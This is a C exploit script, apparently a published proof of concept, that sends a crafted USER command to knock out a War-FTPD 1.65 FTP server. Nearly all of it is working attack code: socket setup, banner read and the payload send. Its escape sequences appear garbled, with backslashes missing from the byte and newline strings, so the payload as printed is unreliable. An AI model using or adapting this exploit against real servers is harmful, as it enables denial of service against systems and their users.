War-FTPD 1.65 Denial Of Service

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>

void intro();
void main_exploit(char *ip, int port);

int main(int argc, char *argv[]) {
    if (argc != 3) {
        printf("Usage: %s <ip> <port>n", argv[0]);
        exit(EXIT_FAILURE);
    }

    intro();
    main_exploit(argv[1], atoi(argv[2]));

    return 0;
}

void intro() {
    printf("n"
           "---------- # ------------------------------------------------------------------n"
           "--------- ##= ------- [+] War-FTPD 1.65 Username - Denied of Service (DoS) -----n"
           "-------- ##=== ----------------------------------------------------------------n"
           "------ ###==#=== --------------------------------------------------------------n"
           "---- ####===##==== ------------------------------------------------------------n"
           "-- #####====###===== -----          Coded by Fernando Mengali             -----n"
           "- #####=====####===== -----        [email protected]            -----n"
           "- #####=====####===== --------------------------------------------------------n"
           "--- ####=  #  #==== --------    Prepare to exploiting the server   ------------n"
           "--------- ##= ------------------------------------------------------------------n"
           "------- ####=== ---------------------------------------------------------------n");
}

void main_exploit(char *ip, int port) {
    char exploit[1000];
    strcpy(exploit, "x41x41x41x41x41x41x41x41"); // Add more 'A's if needed
    strcat(exploit, "x00x7ex2bx26x3dx25x3ax22x0ax0dx20x2fx5cx2ern");

    int sockfd;
    struct sockaddr_in server_addr;

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("Socket creation error");
        exit(EXIT_FAILURE);
    }

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);

    if (inet_pton(AF_INET, ip, &server_addr.sin_addr) <= 0) {
        perror("Invalid address/ Address not supported");
        exit(EXIT_FAILURE);
    }

    if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("Connection Failed");
        exit(EXIT_FAILURE);
    }

    char buffer[1024] = {0};
    read(sockfd, buffer, sizeof(buffer));
    printf("Connected => %sn", buffer);

    write(sockfd, "USER ", strlen("USER "));
    write(sockfd, exploit, strlen(exploit));

    read(sockfd, buffer, sizeof(buffer));
    printf("Authentication USER: %sn", buffer);

    close(sockfd);
}